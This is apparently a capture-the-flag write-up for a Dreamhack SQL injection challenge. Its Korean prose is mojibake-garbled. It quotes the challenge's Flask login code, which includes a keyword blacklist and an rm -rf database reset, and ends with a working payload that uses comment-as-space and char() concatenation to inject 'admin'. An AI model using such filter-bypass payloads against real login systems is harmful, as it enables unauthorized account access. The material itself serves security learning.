1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/1
2. ํด๊ฒฐ ๊ณผ์
๋ก๊ทธ์ธ์ ํ๊ธฐ ์ํด์๋ uid,upw ๊ฐ์ ์ ๋ ฅํด์ผ ํ๋ค. (๋ชจ๋ ์๋ฌธ์๋ก ์ ๋ ฅ๋จ)
level๊ฐ์ 9๋ก ํ๋์ฝ๋ฉ๋์ด์๋ค.
SQL Injection ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๊ธฐ ์ํด ๊ฐ ์ ๋ ฅ๊ฐ์ ๋ชจ๋ ํํฐ๋ง์ ๊ฑธ์ด๋๋ค.
- [ , ]: ํน์ SQL ๋ฌธ๋ฒ์ ์ํฅ์ ์ค ์ ์๋ ๋ฌธ์.
- ,: SQL ๋ช ๋ น์ด์์ ์ฌ๋ฌ ๊ฐ์ ๊ตฌ๋ถํ๋ ๋ฐ ์ฌ์ฉ.
- admin: ๊ด๋ฆฌ์ ๊ณ์ ๊ณผ ๊ด๋ จ๋ ์ ๋ ฅ์ ์ ํ.
- select: ๋ฐ์ดํฐ๋ฅผ ์กฐํํ ๋ ์ฌ์ฉ๋๋ SQL ๋ช ๋ น์ด.
- ', ": SQL ๋ฌธ์์ด์ ๊ตฌ๋ถํ๋ ๋ฐ ์ฌ์ฉ.
- \t, \n, \r: ์ฌ๋ฌ ์ค์ ๊ฑธ์น SQL ๋ฌธ์ ๊ตฌ์ฑํ ๋ ์ฌ์ฉํ ์ ์๋ ํน์ ๋ฌธ์.
- ๋ฐฑ์คํ์ด์ค \x08, ํญ \x09, ๋ ๋ฌธ์ \x00, ์์ง ํญ \x0b, ์บ๋ฆฌ์ง ๋ฆฌํด \x0d: ๋ฐ์ดํฐ ์ฒ๋ฆฌ์ ์ํฅ์ ์ค ์ ์๋ ๋ค์ํ ๋น์ธ์ ์ ์ด ๋ฌธ์.
- ๊ณต๋ฐฑ : SQL ๋ฌธ์์ ์ฌ๋ฌ ๊ตฌ์ฑ ์์๋ฅผ ๊ตฌ๋ถํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๊ธฐ๋ณธ ๋ฌธ์.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
์ฝ๋๋ ์คํ๋์๋ง์ dream.cometure,9์ ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ํ ์ด๋ธ์ ์ฝ์ ํ๋ค.
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
๋ก๊ทธ์ธ์ฐฝ์ dream, cometrue๋ฅผ ์ ๋ ฅํ๋ฉด "Good!"์ด๋ผ๋ ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ค.
ํธ์ถ๋ฌธ์ ์๋์ ๊ฐ๋ค.
์ ๋ ฅ๊ฐ์ burp suite๋ฅผ ํตํด ์กฐ์ํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ํธ์ถํด๋ณผ ๊ฒ์ด๋ค.
SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};
a, a๋ฅผ ์ ๋ ฅํ๋ฉด level์ ๋จ์ง ์๋๋ค. (9๋ก ์ค์ ๋์ด ์๊ณ ๋ฐ๋ก ์ ๋ ฅ๋ฐ์ง ์์)
๋ฐ๋ผ์, ์ง์ ์ ๋ ฅํด์ฃผ์ด์ผ ํ๋ค.
uid=a&upw=a&level=1/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))
์ฑ๊ณต